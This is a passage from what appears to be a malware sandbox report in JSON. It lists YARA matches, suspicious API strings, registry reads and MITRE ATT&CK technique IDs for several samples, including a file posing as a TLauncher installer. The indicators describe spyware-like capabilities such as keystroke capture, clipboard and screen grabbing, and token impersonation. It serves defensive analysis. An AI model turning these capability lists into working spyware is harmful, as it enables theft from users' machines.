\"TLauncher-Installer-1.9.4.exe\"\n YARA signature matched on embedded PE in file \"sup.exe\"\n YARA signature matched on embedded PE in file \"elf.exe\"\n YARA signature matched on embedded PE in file \"server.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm file \"server.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – PEB traversal","description":"YARA signature for PEB traversal file \"syschnu.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":1,"id":"yara-166","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – ROR algorithm","description":"$81","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-209","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Remote Access Related","name":"Able to modify Remote Configuration","description":"Found string \":\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\v4.0_4.0.0.0__b77a5c561934e089\\System.Runtime.Remoting.dll\" (Source: \"00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$82","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001088.00000000.271453.01630000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00002000.00000001.271022.01430000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002000.00000001.271022.01430000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00002000.00000001.271022.01430000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"New Text Document mod.exe\")\n Found string \"DragQueryFileA\" (Source: \"00000000-00005524-00000C2B-3241336663\")\n Found string \"GetClipboardData\" (Source: \"00000000-00005524-00000C2B-3241698260\")\n Found string \"DragQueryFileW\" (Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"$83","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$84","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$85","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve running process details (.NET)","description":"file/memory contains long string(File: \"xeno.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-931","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsA\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: HCBSXXl.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$86","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"NewTextDocumentmod.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cooking.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"TLauncher-Installer-1.9.4.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"lJ5IwxN.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"irsetup.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"NewTextDocumentmod.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"NewTextDocumentmod.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"TLauncher-Installer-1.9.4.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$87","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"New Text Document mod.exe\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$88","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen information (Dotnet)","description":"Observed Namespace \"System.Windows.Forms::Screen\" and MemberReference \"get_AllScreens\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1113","relevance":1,"id":"static-164","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to collect clipboard information (Dotnet)","description":"Observed Namespace \"System.Windows.Forms::Clipboard\" and MemberReference \"GetText\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1056.001","relevance":1,"id":"static-163","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: BrowserInstaller.exe)\n Found GetCursorPos() in an import section (Source: multifunctionalbackup294.exe)\n Found GetCursorPos() in an import section (Source: random.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$89","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$8a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"GetProcessesByName\" in \"server.exe\"\n Observed function \"get_ProcessName\" in \"server.exe\"\n Observed function \"GetProcessById\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"New Text Document mod.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$8b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")\n Found reference to API \"Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005036.00000000.270331.59AFE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$8c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current hardware profile (API string)","description":"Found reference to API \"GetCurrentHwProfileA\" (Indicator: \"GetCurrentHwProfile\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-159","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$8d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$8e","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"passwordFormat\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"passwordAttemptWindow\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"passwordFormat=\"Hashed\"\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"passwordAttemptWindow=\"10\"\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression=\"\" />\" (Indicator: \"password\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 33623-378-0041FA58\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp\n \"OFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\NewProduct 1.00\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00000968.00000000.272733.007E5000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00005036.00000000.270331.59AF9000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"lJ5IwxN.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"$8f","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$90","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"NewTextDocumentmod.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"$91","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$92","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$93","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$94","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"System 